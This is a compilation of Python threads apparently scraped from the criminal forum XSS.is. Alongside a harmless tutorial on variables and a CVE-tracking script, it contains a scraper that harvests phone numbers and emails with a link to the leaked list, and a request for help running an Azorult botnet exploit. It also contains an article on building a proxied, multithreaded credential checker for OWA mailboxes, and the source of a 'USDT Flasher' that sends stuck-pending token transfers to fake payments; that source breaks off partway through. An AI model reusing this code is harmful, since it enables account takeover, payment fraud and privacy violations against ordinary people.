Last Post: 2018-12-31T13:03:51+0000
Author: smth
Replies: 8 Views: 5K

Приветствую всех пользователей форума XSS.is, изначально я планировал начать урок по языку Python традиционно с установки среды разработки и прочего. Но решил этого не делать, так как целевая аудитория данного форума в большинстве своём продвинутая и мне не нужно разжевывать установку Python.

В этом уроке мы научимся работать с переменными и выводить их на экран.

Первым делом рассмотрим переменные. Что это такое?

Переменная - это ячейка в памяти, куда мы можем записать определённую информацию и потом ссылаться к этой переменной и получать от неё информацию. Ну а что делать с этой самой информацией уже зависит от поставленной вами задачей (вывод на экран, математические операции и etc). Для написания переменной, нам необходимо указать её имя, а также присвоить ей значение, к примеру, мы так можем и сделать:

Python:Copy to clipboard

xss = "Форум"

Данная переменная имеет тип string - строка.
Каждая переменная имеет свой определённый тип данных, в языке Python эти типы данных не указываются явно, например в языке C++ все типы данных указываются явно перед началом переменной указывается её тип данных, например int(integer), float и т.д., а потом уже идёт само объявление переменной,

C++:Copy to clipboard

int xss = "Форум"

В языке Python это делать не нужно, но тем не менее эти типы данных присутствуют, поэтому я буду вам про них рассказывать и показывать.
Вернемся к нашему коду:

Python:Copy to clipboard

xss = "Форум" # String

Так вот, данный тип данных называется string (строка), также существуют другие типы данных, давайте создадим переменную num и укажем для неё значение шесть.

Python:Copy to clipboard

num = 6 # Integer

Здесь уже будет тип данных Integer - целое число, такая переменная может принимать значение 1, 2, 3, 10, 500 и тому подобное, то есть просто целые числа.
Float - это числа с плавающей точкой, для примерам возьмём 0.5, чисел после точки может быть очень-очень много такой тип данных как вы уже поняли называется float.

Python:Copy to clipboard

float = 0.5 # Float

При этом я переменную назвал float, но это не обязательно, я это сделал для наглядности.
Вернёмся к названиям переменных.
В названиях переменных вы можете использовать:
числа, нижнее подчеркивание, и латинские символы.
Вы НЕ можете здесь использовать:
специальные символы по типу %, $ и тому подобное, также вы не можете в начале писать число, например 2num = 6, то есть изначально всегда должно быть нижнее подчеркивание или латинские символы и потом уже могут идти числа. И тогда это всё будет нормально и корректно обрабатываться.
Существует ещё один тип данных который можно также применить к переменной, этот тип данных называется булевый тип данных (boolean). То есть это те переменные, которые принимают лишь два значения TRUE - истина либо же FALSE - ложь. Такие переменные будут очень и очень удобные при использовании в условных операторах, к примеру, мы сможем проверить, если у нас наша переменная равна true, то мы выполняем один код если же она равна false, то выполняем другой код.
Напишем переменную с типом данных boolean:

Python:Copy to clipboard

bool = false

И добавим ей значение либо True, либо False (правда или ложь).
Так вот, теперь мы имеем 4 переменных, которые имеют разный тип данных. На самом деле в языке Python больше типов данных, но мы с ними будем ознакамливаться чуть позже, потому что это различные массивы и объекты и это мы будем в ходе данного текстового курса изучать. Но на данный момент вам будет пока что достаточно этих четырёх типов данных. Что мы можем теперь делать с этими переменными? Мы имеем следующий код.

Python:Copy to clipboard

xss = "Форум" # String
num = 6 # Integer
float = 0.5 # Float
bool = false

Во-первых мы их можем переприсвоить, например я могу взять нашу переменную xss и указать внутри другой текст.

Python:Copy to clipboard

xss = "НЕ ФОРУМ"

Таким образом я просто переопределил данную переменную и у неё уже будет новое значение. Дальше мы можем вывести данную переменную, при помощи оператора

Python:Copy to clipboard

print(xss)

Также внутри можно вывести к примеру текст.

Python:Copy to clipboard

print(xss, "some text")

И если мы запустим данную программу, то на экране увидим

Code:Copy to clipboard

 НЕ ФОРУМ, some text

то есть таким образом мы вывели здесь просто дополнительную строку, но выводить её в данный момент нам не нужно, нам было бы здесь интереснее вывести какую-либо переменную, а не просто текст, например переменную num и получаем следующее

Python:Copy to clipboard

print(xss, num)

и соответственно если мы запустим данную программу, то увидим следующее
НЕ ФОРУМ 6 Потому что изначально мы выводим xss, у неё значение "НЕ ФОРУМ" , т.к. мы переопределили её, ну и затем переменную num которая содержит значение равное шести. Помимо этого мы можем совершать математические операции с переменными. Например, давайте создадим ещё одну переменную и назовём её result, ну и перед ней добавим переменную x, в которой будет значение 5. Ну а в самой переменной result, сделаем сложение нашей переменной num с переменной x.

Python:Copy to clipboard

 x = 5
result = num + x

И теперь будем на экран выводить конкретно данную переменную, т.к. в ней находится сложение.

Python:Copy to clipboard

print(result)

таким образом мы увидим на экране 11 потому что 6 + 5 = 11
Также можно отнимать

Python:Copy to clipboard

 x = 5
result = num - x

Делить

Python:Copy to clipboard

 x = 5
result = num / x

Умножать

Python:Copy to clipboard

 x = 5
result = num * x

И получать остаток от деления

Python:Copy to clipboard

 x = 5
result = num % x

Если же я хочу произвести одно и тоже действие над одной и той же переменной, к примеру я хочу вот над переменной x произвести действие с переменной num, я хочу взять эту переменную и от неё отнять число например 3, чтобы у нас в ней получилось число 2. Так вот, я могу не прописывать всё это настолько долго и нудно, а могу просто написать вот так.

Python:Copy to clipboard

xss = "Форум" # String
num = 6 # Integer
float = 0.5 # Float
bool = false

xss ="НЕ Форум"

x = 5
result = num % x

Вот наш код целиком, и добавим следующее.
num -= 3

Python:Copy to clipboard

xss = "Форум" # String
num = 6 # Integer
float = 0.5 # Float
bool = false

xss ="НЕ Форум"

num -= 3
x = 5
result = num % x

Таким образом это будет эквивалентно такой записи:

Python:Copy to clipboard

number = number - 3[CODE]
Если же вам необходимо создать несколько переменных содержащих в себе одно и тоже значение, к примеру переменные a, z, q
a
z
q

То вы их можете все прописать в один ряд, единственное что вы должны к каждой переменной поставить знак равенства ну и в конце для них всех указываем значение.

Python:Copy to clipboard

a = z = q = 15

ну и также можем вывести на экран через оператор print.
Также есть ещё один способ быстрого добавления переменных.
Напишем пару переменных в одну строку и соответственно мы хотим каждой из них добавить своё собственное значение.

Python:Copy to clipboard

w, r, b = 12, "XSS.is", True

В данной записи мы присвоили переменной w = 12, r = XSS.is, b = True и дальше можем с ними работать. Этот способ служит для быстрой записи нескольких переменных. Я здесь прописал 3 варианта, а можно больше это чисто для удобства служит.

Продолжение следует....

парсер на Python

ID: 6766c898b4103b69df37679a
Thread ID: 35186
Created: 2020-02-25T16:41:24+0000
Last Post: 2020-03-02T22:36:13+0000
Author: Volstiny
Replies: 9 Views: 5K

Всем привет. Недавно начал учить язык программирования python. Написал простенький парсер телефонных номеров и электронных почт с сайта prom.ua. Сейчас пишу парсер с olx.ua.
Вот номера телефонов и почт. Может кому-то будет нужно:

phone.txt - AnonFiles

anonfiles.com

Вот код на python:

Python:Copy to clipboard

import requests
from bs4 import BeautifulSoup


l = 0
all_href = []
all_mail = []
all_phone = []
all_sections = []

base_url = 'https://prom.ua/ua/Kompyuternaya-tehnika-i-programmnoe-obespechenie'
base_r = requests.get(base_url)
base_soup = BeautifulSoup(base_r.content, 'html.parser')
sections_href = base_soup.find_all('div', attrs={'class':'x-category-tile__title-holder'})
for sec in sections_href:
    section_href = sec.find('a', attrs={'class':'x-category-tile__title'})['href']
    all_sections.append(section_href)


for link in all_sections:
    print(link)
    url = 'https://prom.ua' + link
    r = requests.get(url)
    soup = BeautifulSoup(r.content, 'html.parser')
    div_href = soup.find_all('div', attrs={'class': 'x-gallery-tile__relative'})
    for hr in div_href:
        get_href = hr.find('a', attrs={'class': 'x-gallery-tile__image-holder x-image-holder'})['href']
        all_href.append(get_href)

    for al in all_href:
        r1 = requests.get(al)
        soup1 = BeautifulSoup(r1.content, 'html.parser')
        get_mail = soup1.find('a', attrs={'class': 'x-pseudo-link x-iconed-text__link'})
        all_mail.append(get_mail)
        get_phone = soup1.find('span', attrs={'class':'x-pseudo-link x-iconed-text__link js-product-ad-conv-action'})
        all_phone.append(get_phone)
        l = l + 1
        print(l)



print(all_phone)
print(all_mail)

Жду от вас советов как лучше писать, какие библиотеки лучше использовать для парсинга.
Всем хорошего дня☺

Ошибка Python Azorult

ID: 6766c898b4103b69df376799
Thread ID: 33478
Created: 2019-11-26T17:51:33+0000
Last Post: 2020-03-04T20:55:53+0000
Author: sakito
Replies: 3 Views: 5K

Почему я ошибаюсь? Я новичок в питоне
Это исходный код:

https://dl.packetstormsecurity.net/1908-exploits/azorultbotnet-sql.txt

Почему я получаю ошибку, когда я даю
sudo python azo.py url
Я переименовал файл azo.py и вижу, что в нем 3 параметра, основная функция до сих пор не выходит.
Можете ли вы дать мне пример?

Слив курсов по Python и взлому систем

ID: 6766c898b4103b69df376734
Thread ID: 44184
Created: 2020-11-11T09:55:32+0000
Last Post: 2021-02-11T13:24:32+0000
Author: Cansello
Prefix: Мануал/Книга
Replies: 14 Views: 5K

Эксклюзивный курс по информационной безопасности и Python, состоящий из 17 частей.
Скачать: https://cloud.mail.ru/public/4tVK/4Tbw2b48Y/

Подскажите сайты в которых есть бесплатные сливы платных курсов (udemy и т.д.)

ID: 6766c898b4103b69df376726
Thread ID: 48540
Created: 2021-02-24T07:16:50+0000
Last Post: 2021-05-27T09:16:33+0000
Author: Lasker
Replies: 28 Views: 5K

В частности я хотел бы очень найти слив этого курса:

www.udemy.com

[ Разработка Telegram ботов на Python

](https://www.udemy.com/course/aiogram-python/)

Научись разрабатывать ботов любой сложности для месседжера Telegram. В этом подробном курсе построение ботов от А до Я.

![www.udemy.com](/proxy.php?image=https%3A%2F%2Fwww.udemy.com%2Fcourse%2Faiogram- python%2F&hash=d70b683bdc7d1d7d3f76af36d60a8142&return_error=1) www.udemy.com

Я впервые вообще ищу сливы чего-то, был бы рад если бы вы подсказали.

Редактировать PE с помощью Python

ID: 6766c898b4103b69df37653e
Thread ID: 31361
Created: 2019-08-27T12:23:56+0000
Last Post: 2024-08-31T15:59:07+0000
Author: tanto403
Replies: 11 Views: 5K

Привет.
Задача: Изменить Иконку и Version Info с помощью Python.
Я уже в курсе, что в этом мне поможет https://github.com/erocarrera/pefile

Но проблема в том, что знания мои PE - довольно поверхностны, так что буду рад любой информации.
Не только примерам использования pefile (которых я в сети не нашел).
А любую инфу которая может просветить меня в PE, если на русском - так вообще здорово будет.
Заранее благодарен.!

Tracking New CVEs on GitHub Automatically.

ID: 6766c898b4103b69df37651d
Thread ID: 118319
Created: 2024-07-06T20:41:34+0000
Last Post: 2024-11-14T10:59:52+0000
Author: blackhunt
Prefix: Статья
Replies: 26 Views: 5K

Greetings to all those who are always eager to hunt for new security vulnerabilities and ensure the best possible security. Here is GhostCVE Finder , a tool designed to search and discover new CVEs via GitHub. Leveraging the powerful GitHub API and robust Python libraries, this script enables you to swiftly and automatically scout for newly reported vulnerabilities and examine them.

Features:

Automatic search for new CVEs via the GitHub API
Detailed display of each CVE including name, description, and creation date
Ability to clone related projects for further inspection
Support for searching based on specific dates to find CVEs created during that time

Script code :

Python:Copy to clipboard

import subprocess
import sys
import os
import requests
import json
from datetime import datetime, timedelta
from rich.console import Console
from rich.table import Table
from rich.prompt import Prompt
from rich.panel import Panel
from rich.layout import Layout
from rich.live import Live
import threading
from tzlocal import get_localzone

# Function to check if a package is installed
def is_package_installed(package):
    try:
        subprocess.check_output([sys.executable, '-m', 'pip', 'show', package])
        return True
    except subprocess.CalledProcessError:
        return False

# Function to install a package
def install_package(package):
    subprocess.check_call([sys.executable, "-m", "pip", "install", package])

# Install required packages if not installed
def setup():
    packages = [
        "requests",
        "rich",
        "tzlocal"
    ]
    
    for package in packages:
        if not is_package_installed(package):
            print(f"Installing {package}...")
            install_package(package)
        else:
            print(f"{package} is already installed.")

    if os.name == 'nt':
        subprocess.call('cls', shell=True)
    else:
        subprocess.call('clear', shell=True)

# Global variables
SETTINGS_FILE = 'settings.json'
LAST_SEARCH_FILE = 'last_search.json'
console = Console()

# Function to load settings from JSON file
def load_settings():
    if os.path.exists(SETTINGS_FILE):
        with open(SETTINGS_FILE, 'r') as file:
            return json.load(file)
    return {}

# Function to save settings to JSON file
def save_settings(settings):
    with open(SETTINGS_FILE, 'w') as file:
        json.dump(settings, file)

# Function to get GitHub token from user input or settings file
def get_github_token():
    settings = load_settings()
    if 'GITHUB_TOKEN' in settings:
        return settings['GITHUB_TOKEN']
    token = Prompt.ask("Enter your GitHub token")
    settings['GITHUB_TOKEN'] = token
    save_settings(settings)
    return token

# Function to load last search time from JSON file
def load_last_search_time():
    if os.path.exists(LAST_SEARCH_FILE):
        with open(LAST_SEARCH_FILE, 'r') as file:
            data = json.load(file)
            return datetime.fromisoformat(data['last_search_time'])
    return None

# Function to save last search time to JSON file
def save_last_search_time(time):
    with open(LAST_SEARCH_FILE, 'w') as file:
        json.dump({'last_search_time': time.isoformat()}, file)

# Function to handle existing last search file
def handle_existing_last_search_file():
    if os.path.exists(LAST_SEARCH_FILE):
        console.print("[bold yellow]Last search file already exists. This may prevent finding new CVEs.[/bold yellow]")
        action = Prompt.ask("Do you want to delete or rename the last search file? (delete/rename/continue)", default="continue")
        if action == "delete":
            os.remove(LAST_SEARCH_FILE)
            console.print("[bold green]Last search file deleted.[/bold green]")
        elif action == "rename":
            new_name = Prompt.ask("Enter new name for the last search file")
            os.rename(LAST_SEARCH_FILE, new_name)
            console.print(f"[bold green]Last search file renamed to {new_name}.[/bold green]")
        else:
            console.print("[bold yellow]Continuing with the existing last search file.[/bold yellow]")

# Function to clone repository using git
def clone_repository(repo_url, repo_name):
    try:
        subprocess.run(["git", "clone", repo_url, repo_name], check=True)
        console.print(f"[bold green]Successfully cloned {repo_name}[/bold green]")
    except subprocess.CalledProcessError:
        console.print(f"[bold red]Failed to clone {repo_name}[/bold red]")

# Function to fetch repositories from GitHub API
def fetch_repositories(url, headers, repos):
    try:
        response = requests.get(url, headers=headers)
        if response.status_code == 200:
            results = response.json()
            for repo in results['items']:
                repos.append(repo)
        else:
            console.print(f"[bold red]Failed to fetch data from GitHub API. Status code: {response.status_code}[/bold red]")
    except requests.exceptions.RequestException as e:
        console.print(f"[bold red]An error occurred: {str(e)}[/bold red]")

# Function to search for new CVEs
def search_new_cves():
    github_token = get_github_token()
    timezone = str(get_localzone())
    headers = {'Authorization': f'token {github_token}'}
    
    last_search_time = load_last_search_time() or datetime.now() - timedelta(days=1)
    query = f'CVE created:>{last_search_time.strftime("%Y-%m-%dT%H:%M:%SZ")}'
    url = f'https://api.github.com/search/repositories?q={query}&per_page=10'

    repos = []
    threads = []
    for page in range(1, 6):  # Fetching up to 50 repositories (5 pages, 10 per page)
        paginated_url = f'{url}&page={page}'
        thread = threading.Thread(target=fetch_repositories, args=(paginated_url, headers, repos))
        threads.append(thread)
        thread.start()

    for thread in threads:
        thread.join()

    if repos:
        table = Table(title="New CVEs Found", show_header=True, header_style="bold magenta")
        table.add_column("No.", style="dim", width=5)
        table.add_column("Name", style="cyan", no_wrap=True)
        table.add_column("URL", style="magenta")
        table.add_column("Description", style="green")
        table.add_column("Created At", style="yellow", no_wrap=True)

        for idx, repo in enumerate(repos, start=1):
            table.add_row(str(idx), repo['name'], repo['html_url'], repo['description'] or 'No description', repo['created_at'])

        console.print(table)

        while True:
            repo_index = Prompt.ask("Enter the number of the repository to clone (or 'exit' to quit)", default="exit")
            if repo_index.lower() == 'exit':
                break
            try:
                repo_index = int(repo_index) - 1
                if 0 <= repo_index < len(repos):
                    repo = repos[repo_index]
                    clone_repository(repo['html_url'], repo['name'])
                else:
                    console.print("[bold red]Invalid number. Please try again.[/bold red]")
            except ValueError:
                console.print("[bold red]Invalid input. Please enter a number or 'exit'.[/bold red]")
    else:
        console.print("[bold red]No new CVEs found.[/bold red]")

    save_last_search_time(datetime.now())

# Function to search for a specific CVE
def search_specific_cve(cve_id):
    github_token = get_github_token()
    headers = {'Authorization': f'token {github_token}'}
    url = f'https://api.github.com/search/repositories?q={cve_id}'

    repos = []
    fetch_repositories(url, headers, repos)

    if repos:
        table = Table(title=f"Repositories for {cve_id}", show_header=True, header_style="bold magenta")
        table.add_column("No.", style="dim", width=5)
        table.add_column("Name", style="cyan", no_wrap=True)
        table.add_column("URL", style="magenta")
        table.add_column("Description", style="green")
        table.add_column("Created At", style="yellow", no_wrap=True)

        for idx, repo in enumerate(repos, start=1):
            table.add_row(str(idx), repo['name'], repo['html_url'], repo['description'] or 'No description', repo['created_at'])

        console.print(table)

        while True:
            repo_index = Prompt.ask("Enter the number of the repository to clone (or 'exit' to quit)", default="exit")
            if repo_index.lower() == 'exit':
                break
            try:
                repo_index = int(repo_index) - 1
                if 0 <= repo_index < len(repos):
                    repo = repos[repo_index]
                    clone_repository(repo['html_url'], repo['name'])
                else:
                    console.print("[bold red]Invalid number. Please try again.[/bold red]")
            except ValueError:
                console.print("[bold red]Invalid input. Please enter a number or 'exit'.[/bold red]")
    else:
        console.print(f"[bold red]No repositories found for {cve_id}.[/bold red]")

# Function to search CVEs based on a specific date
def search_cves_by_date():
    while True:
        try:
            search_date_str = Prompt.ask("Enter the search date (YYYY-MM-DD) or 'exit' to cancel", default="exit")
            if search_date_str.lower() == 'exit':
                return
            search_date = datetime.strptime(search_date_str, "%Y-%m-%d")
            break
        except ValueError:
            console.print("[bold red]Invalid date format. Please enter date in YYYY-MM-DD format.[/bold red]")

    github_token = get_github_token()
    timezone = str(get_localzone())
    headers = {'Authorization': f'token {github_token}'}
    
    query = f'CVE created:{search_date.strftime("%Y-%m-%d")}'
    url = f'https://api.github.com/search/repositories?q={query}&per_page=10'

    repos = []
    fetch_repositories(url, headers, repos)

    if repos:
        table = Table(title=f"CVEs created on {search_date.strftime('%Y-%m-%d')}", show_header=True, header_style="bold magenta")
        table.add_column("No.", style="dim", width=5)
        table.add_column("Name", style="cyan", no_wrap=True)
        table.add_column("URL", style="magenta")
        table.add_column("Description", style="green")
        table.add_column("Created At", style="yellow", no_wrap=True)

        for idx, repo in enumerate(repos, start=1):
            table.add_row(str(idx), repo['name'], repo['html_url'], repo['description'] or 'No description', repo['created_at'])

        console.print(table)

        while True:
            repo_index = Prompt.ask("Enter the number of the repository to clone (or 'exit' to quit)", default="exit")
            if repo_index.lower() == 'exit':
                break
            try:
                repo_index = int(repo_index) - 1
                if 0 <= repo_index < len(repos):
                    repo = repos[repo_index]
                    clone_repository(repo['html_url'], repo['name'])
                else:
                    console.print("[bold red]Invalid number. Please try again.[/bold red]")
            except ValueError:
                console.print("[bold red]Invalid input. Please enter a number or 'exit'.[/bold red]")
    else:
        console.print(f"[bold red]No new CVEs found on {search_date.strftime('%Y-%m-%d')}.[/bold red]")

# Function to handle user input and actions
def main():
    setup()
    handle_existing_last_search_file()

    while True:
        menu = Panel.fit("""
[bold cyan]What would you like to do?[/bold cyan]
1. Search for a specific CVE
2. Search for new CVEs
3. Search for CVEs by specific date
4. Help
5. Exit
""", title="Menu", border_style="green")

        console.print(menu)

        try:
            choice = Prompt.ask("Choose an option", choices=[str(i) for i in range(1, 6)], default="1")
            if choice == "1":
                search_specific_cve(Prompt.ask("Enter CVE ID to search for"))
            elif choice == "2":
                search_new_cves()
            elif choice == "3":
                search_cves_by_date()
            elif choice == "4":
                console.print("""
[bold cyan]Help - Available Commands[/bold cyan]
1. Search for a specific CVE by entering its ID.
2. Search for new CVEs created since the last search.
3. Search for CVEs created on a specific date.
4. Exit the program.
""")
            elif choice == "5":
                break
        except ValueError:
            console.print("[bold red]Invalid input. Please enter a number from 1 to 5.[/bold red]")

if __name__ == "__main__":
    main()

**Creating a GitHub Token :

1.Sign in to GitHub**: Log in to your GitHub account at github.com.

2.Access Personal Access Tokens :
Click on your profile icon at the top right corner of the page.
From the dropdown menu, select Settings.

3.Navigate to Developer Settings :
In the left sidebar, click on Developer settings.

4 .Generate New Token :
In the developer settings page, click on Personal access tokens.
Then, click on Generate new token.

5 .Configure Token :
Enter a descriptive name for your token in the Note field.
Select the scopes or permissions needed for your token. For this script, you might need at least repo and read:org scopes depending on the repositories you're accessing.
Click on Generate token at the bottom of the page.

Password: xss.is

Enjoy !

Опять чекеры.. Или же как писать чекеры на запросах, с мультипоточностью, да и всем нужным!

ID: 6766c898b4103b69df376503
Thread ID: 114395
Created: 2024-05-12T18:35:04+0000
Last Post: 2024-12-13T03:38:06+0000
Author: germans
Prefix: Статья
Replies: 33 Views: 5K

**Авторствo: germans
Издательствo: xss.is

К**ароче, чекеры, брутеры, и прочий хлам. Рынок не переполнен всем этим на удивление, к примеру я не увидел еще ни одного слитого/написанного в дар чекера owa-почт. Мы сегодня напишем с вами чекер на эти почты с мультипоточностью, подключением прокси и всем остальным. Разберемся сначала - 'а чо это такое ваши чекеры'. Если ответить вкратце и по сути, то программка, проверяющая входные данные на верность, самое банальное, что вы можете привести человеку в пример - так это проверка по алгоритму Луны, ведь у каждого человека есть банковская карточка и думаю, что человек сообразит быстро в тех ситуациях, которых он был. К примеру промахнулся циферкой, а ему уже кричат из-за всех щелей, что гавно. Уйдем от введения и перейдем к сути.
П исать мы будем на языке Python, с моего взгляда это самый комфортный язык для чекеров после Go. Не нужно выдумывать велосипеды и писать чекеры на плюсах, шарпах, ведь они никогда не были предназначены для таких целей.. У нас двa пути, а именно сам принцип - как проверять то?? Первый, наилучший вариант

это запросы, бесспорно, не нужно даже сравнивать это ни с чем другим, тут мы получаем максимальную скорость какая только возможна, кроме подключения к БД самого сервера, тут мы зависим только от качества наших проксей. Второй, наихудший вариант - эмуляция, тут я имею в виду эмуляция браузера/телефона/планшета и любого другого устройства, конечно нам не придется заморачиваться с защитой на запросах, но вы только представьте какая это маленькая скорость, сколько это ресурсов жрет??..- Представили, ресурсов дохренища, скорость нихренища. Этот вариант нас не устраивает, если мы конечно не мазохисты.

П ерейдем ближе к разбору нашей цели, как я говорил ранее - это owa-почты. Для начала заходим кликаться с браузера, не забываем подключить инструменты разработчика (Dev Tools) тыкайте F12 и будем вам счастье.

П ереходим в инструментах разработчика в раздел 'Сеть', пробуем залогиниться, отлавливаем запросы. И ищем нужный запрос именно нам, а конкретней где мы передаем почту и пароль.

Н аходим такой после успешного валида в нашу почту, теперь пора лезть в 'полезную нагрузку' aka Payload. Там мы увидим тело данных, которое передается. Так же не забываем отметить факт, что запрос у нас с методом POST.

У видели какие данные передаются, все, чхать нам на это все, пора лезть в нашу IDE. Так как мы будем писать полнофункциональный чекер с мультипотоком, и всякими наворотами саму функцию чека вынесем отдельно. Я использую Visual Studio, но честно, вообще без разницы на это, пишите где вам удобно, хоть в блокноте.

Cам код функции, отвечающая за проверку. Маленькое разъяснение, что, кого, куда, зачем, почему. Импортируем библиотеку requests, она позволяет нам засылать запросы на сайт, ведь в начале мы решили, что будем действовать именно так, никак по другому. Создаем нашу функцию, которая будет принимать такие значение как url, username, password. Вешаем на это все блок try-except, который позволяет нам отлавливать ошибки, но мы будем его использовать как часть проверки. Session - это как профиль в любом антике грубо говоря, настроив один раз мы больше не паримся, так же сохраняются все cookie в эту самую сессию, что нам понадобится для проверки. После чего мы составляем нашу полезную нагрузку или же пейлод, исходя из скриншота на прошлой странице. В destination мы заменяем у ссылки '/auth/logon.aspx' на пустоту, ведь нам нужен домен, тут мы могли использовать библиотеку urlparse для большей точности, но пока остановимся на этом. Остальное кроме username и password заполняем как было указано в дате. После чего наша сессия отправляет post запрос на эндпоинт проверки, в ней так же заменяем конечную точку на нужную нам (указано раньше в инструментах разработчика). После самое важное, как же именно проверять.. Тут может быть множество дыр, можно проверять по тому на какую страницу нас заредиректит, по элементам в ответе, и так далее, но самым надежным способом будет проверять куки, которые нам возвращает. Тут мы уже никак не можем промахнуться как с проверкой на элементы, ведь там нас может просто закидывать на совершенной другой юрл, к примеру некоторые ова почты, редиректят на сайт майкрософт где надо зайти. По окончательным редиректам тоже спорный вопрос, может вылезти какая нибудь хрень, из-за которой постоянно будем получать невалид по тысяче раз. После получаем наш словарик с куки по session, пытаемся и извлечь кук 'cadata', который возвращается при валидном аккаунте. Если у нас не получается его извлечь, то мы выбиваемся в ошибку и функция возвращает False. Разобрали функцию самого чека, вернемся к нашей мультипоточности.

Мультипоточность вырисовываем из библиотеки concurrent.futures , импортируем класс ThreadPoolExecutor из нее, она позволяет нам создавать пул потоков, функции там будут выполняться асинхронно. Именно через него и работает наша мультипоточность. Executor.map принимает у нас функцию и объект, который будет обрабатываться, все это у нас лежит под 'tqdm', она позволит нам графически отображать прогресс нашей проверки, self.total_lines служит для tqdm, то есть сколько всего строк то, работает эта библиотека как на Linux, так и на Windows. max_workers служит для обозначения кол-ва потоков, пока медленно начинаем перетекать в основной функции main. Тут все довольно таки базово, рассказывать нечего, просим указать файл пока не будет он валидным, после чего такое же и с потоками. Читаем файл, и передаем его в класс Checker, который уже запустит нам все это дело.

Пример работы выше, думаю на этом стоит завершать статью. Всем благ, скрипт приложен в архиве файлом здесь.

USDT Flasher - Source Code

ID: 6766c898b4103b69df3764fb
Thread ID: 128186
Created: 2024-12-03T22:22:46+0000
Last Post: 2024-12-18T17:07:16+0000
Author: Vladig
Prefix: Мануал/Книга
Replies: 53 Views: 5K

(Transactions remain pending, wont confirm obviously)
(Trust Wallet does not work)
(Unlimited Amounts)

Python:Copy to clipboard

import tkinter as tk
from tkinter import messagebox, ttk
from web3 import Web3

# Connect to Ethereum Mainnet
infura_url = "https://mainnet.infura.io/v3/ID"  # Replace with your Infura Project ID
web3 = Web3(Web3.HTTPProvider(infura_url))

# Cryptocurrencies metadata
cryptocurrencies = {
    "USDT": {"address": "0xdAC17F958D2ee523a2206206994597C13D831ec7", "decimals": 6},
    "WBTC": {"address": "0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599", "decimals": 8},
    "USDC": {"address": "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606EB48", "decimals": 6},
    "DAI": {"address": "0x6B175474E89094C44Da98b954EedeAC495271d0F", "decimals": 18},
    "PEPE": {"address": "0x6982508145454Ce325dDbE47a25d4ec3d2311933", "decimals": 18},
    "FTM": {"address": "0x4e15361FD6b4BB609Fa63c81A2be19d873717870", "decimals": 18},
    "SHIB": {"address": "0x95aD61b0a150d79219dCF64E1E6Cc01f0B64C4cE", "decimals": 18},
    "MATIC": {"address": "0x7D1Afa7B718fb893dB30A3aBc0Cfc608AaCfeBB0", "decimals": 18},
    "UNI": {"address": "0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984", "decimals": 18},
    "TON": {"address": "0x2ee543c7a6D02aC3D1E5aA0e6A7bD71cB1e4F830", "decimals": 9}
}

# Track the last transaction details
last_transaction = None

# Validate and convert the Ethereum address
def validate_and_convert_address(address):
    if not web3.is_address(address):  # Check if the address is valid
        raise ValueError("Invalid Ethereum address.")
    return web3.to_checksum_address(address)  # Convert to checksum address

# Function to send the transaction
def send_transaction():
    global last_transaction
    private_key = private_key_entry.get()
    delivery_address = delivery_address_entry.get()
    send_amount = amount_entry.get()
    selected_currency = currency_combobox.get()

    try:
        # Validate and convert the Ethereum address
        delivery_address = validate_and_convert_address(delivery_address)

        # Get the contract address and decimals for the selected currency
        currency_data = cryptocurrencies[selected_currency]
        contract_address = currency_data["address"]
        decimals = currency_data["decimals"]

        # Convert the send amount to smallest units
        send_amount = int(float(send_amount) * (10 ** decimals))

        # Sender's wallet
        account = web3.eth.account.from_key(private_key)
        sender_address = account.address

        # ERC-20 transfer method ID
        method_id = "0xa9059cbb"

        # Encode the transaction data
        padded_address = delivery_address[2:].zfill(64)
        padded_amount = hex(send_amount)[2:].zfill(64)
        data = method_id + padded_address + padded_amount

        # Get the current nonce (from confirmed transactions)
        nonce = web3.eth.get_transaction_count(sender_address)

        # Set a gas price to keep it pending (3 gwei Stuck Forever) (20+ gwei Instant)
        gas_price = web3.to_wei(3, "gwei")
        gas_limit = 60000  # Gas limit for ERC-20 transfer

        # Construct the transaction
        transaction = {
            "to": contract_address,
            "value": 0,
            "gas": gas_limit,
            "gasPrice": gas_price,
            "nonce": nonce,
            "data": data,
            "chainId": 1,
        }

        # Sign the transaction
        signed_txn = web3.eth.account.sign_transaction(transaction, private_key)

        # Send the transaction
        tx_hash = web3.eth.send_raw_transaction(signed_txn.raw_transaction)
        tx_hash_hex = web3.to_hex(tx_hash)

        # Save the last transaction details
        last_transaction = {
            "nonce": nonce,
            "gasPrice": gas_price,
            "private_key": private_key
        }

        # Copy txid to clipboard
        root.clipboard_clear()
        root.clipboard_append(tx_hash_hex)
        root.update()

        messagebox.showinfo("Success", f"Transaction sent!\nHash: {tx_hash_hex}\n(TxID copied to clipboard)")

    except Exception as e:
        messagebox.showerror("Error", f"Failed to send transaction:\n{str(e)}")

# Function to cancel the last transaction
def cancel_transaction():
    global last_transaction
    if not last_transaction:
        messagebox.showerror("Error", "No transaction to cancel.")
        return

    try:
        private_key = last_transaction["private_key"]
        nonce = last_transaction["nonce"]
        gas_price = last_transaction["gasPrice"]

        # Increase the gas price to replace the transaction
        new_gas_price = int(gas_price * 1.5)

        # Sender's wallet
        account = web3.eth.account.from_key(private_key)
        sender_address = account.address

        # Create a replacement transaction to self
        transaction = {
            "to": sender_address,
            "value": 0,
            "gas": 21000,
            "gasPrice": new_gas_price,
            "nonce": nonce,
            "chainId": 1,
        }

        # Sign the replacement transaction
        signed_txn = web3.eth.account.sign_transaction(transaction, private_key)

        # Send the replacement transaction
        tx_hash = web3.eth.send_raw_transaction(signed_txn.raw_transaction)
        tx_hash_hex = web3.to_hex(tx_hash)

        messagebox.showinfo("Success", f"Transaction canceled!\nHash: {tx_hash_hex}")

    except Exception as e:
        messagebox.showerror("Error", f"Failed to cancel transaction:\n{str(e)}")

# GUI
root = tk.Tk()
root.title("Flashing")

# Private Key
tk.Label(root, text="Private Key:").grid(row=0, column=0, padx=10, pady=5)
private_key_entry = tk.Entry(root, width=50, show="*")
private_key_entry.grid(row=0, column=1, padx=10, pady=5)

# Delivery Address
tk.Label(root, text="Delivery Address:").grid(row=1, column=0, padx=10, pady=5)
delivery_address_entry = tk.Entry(root, width=50)
delivery_address_entry.grid(row=1, column=1, padx=10, pady=5)

# Amount
tk.Label(root, text="Amount:").grid(row=2, column=0, padx=10, pady=5)
amount_entry = tk.Entry(root, width=50)
amount_entry.grid(row=2, column=1, padx=10, pady=5)

# Cryptocurrency Dropdown
tk.Label(root, text="Select Currency:").grid(row=3, column=0, padx=10, pady=5)
